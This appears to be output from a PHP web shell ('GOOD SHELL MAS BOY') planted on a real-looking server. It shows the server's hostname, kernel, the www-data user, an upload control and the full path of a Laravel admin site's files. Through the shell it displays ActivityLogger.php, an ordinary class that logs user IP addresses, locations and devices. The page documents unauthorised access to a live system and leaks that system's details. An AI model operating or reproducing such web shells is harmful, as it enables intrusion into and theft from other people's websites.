GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/app/Services/ActivityLogger.php
<?php

namespace App\Services;

use Jenssegers\Agent\Agent;
use App\Models\UserActivity; 

class ActivityLogger
{
    public function log($activity, $user_id, $user_role, $device)
    {
        $ip = request()->ip();
        $location = $this->getLocationFromIp($ip);
        $userAgent = request()->header('User-Agent');
        $agent = new Agent();
        $agent->setUserAgent($userAgent);
        $deviceDetails = $this->getDeviceDetails($agent);

        $deviceJson = json_encode($device ?? $deviceDetails);
        
        UserActivity::create([
            'user_id' => $user_id,
            'role' => $user_role,
            'login_time' => now(),
            'activity' => $activity ?? 'Login',
            'ip' => $ip,
            'location' => $location,
            'device' => $deviceJson,
        ]);

        // $adminUsers = 'fixginiservices@gmail.com';
        // Notification::send($adminUsers, new ActivityLogged($activity, $user_id, $user_role, $device));
    }

    protected function getLocationFromIp($ip)
    {
        $accessKey = config('services.ipinfo.token');
        $url = "http://ipinfo.io/{$ip}/json?token={$accessKey}";

        $locationData = file_get_contents($url);
        $location = json_decode($locationData, true);

        $city = $location['city'] ?? 'Unknown City';
        $region = $location['region'] ?? 'Unknown Region';
        $country = $location['country'] ?? 'Unknown Country';
        return "{$city}, {$region}, {$country}";
    }

    protected function getDeviceDetails(Agent $agent)
    {
        $device = $agent->device() ?: 'Unknown Device';
        $browser = $agent->browser() ?: 'Unknown Browser';
        $browserVersion = $agent->version($browser) ?: 'Unknown Version';
        $platform = $agent->platform() ?: 'Unknown Platform';
        $platformVersion = $agent->version($platform) ?: 'Unknown Version';

        return "Device: {$device}, Browser: {$browser} {$browserVersion}, Platform: {$platform} {$platformVersion}";

    }

    

}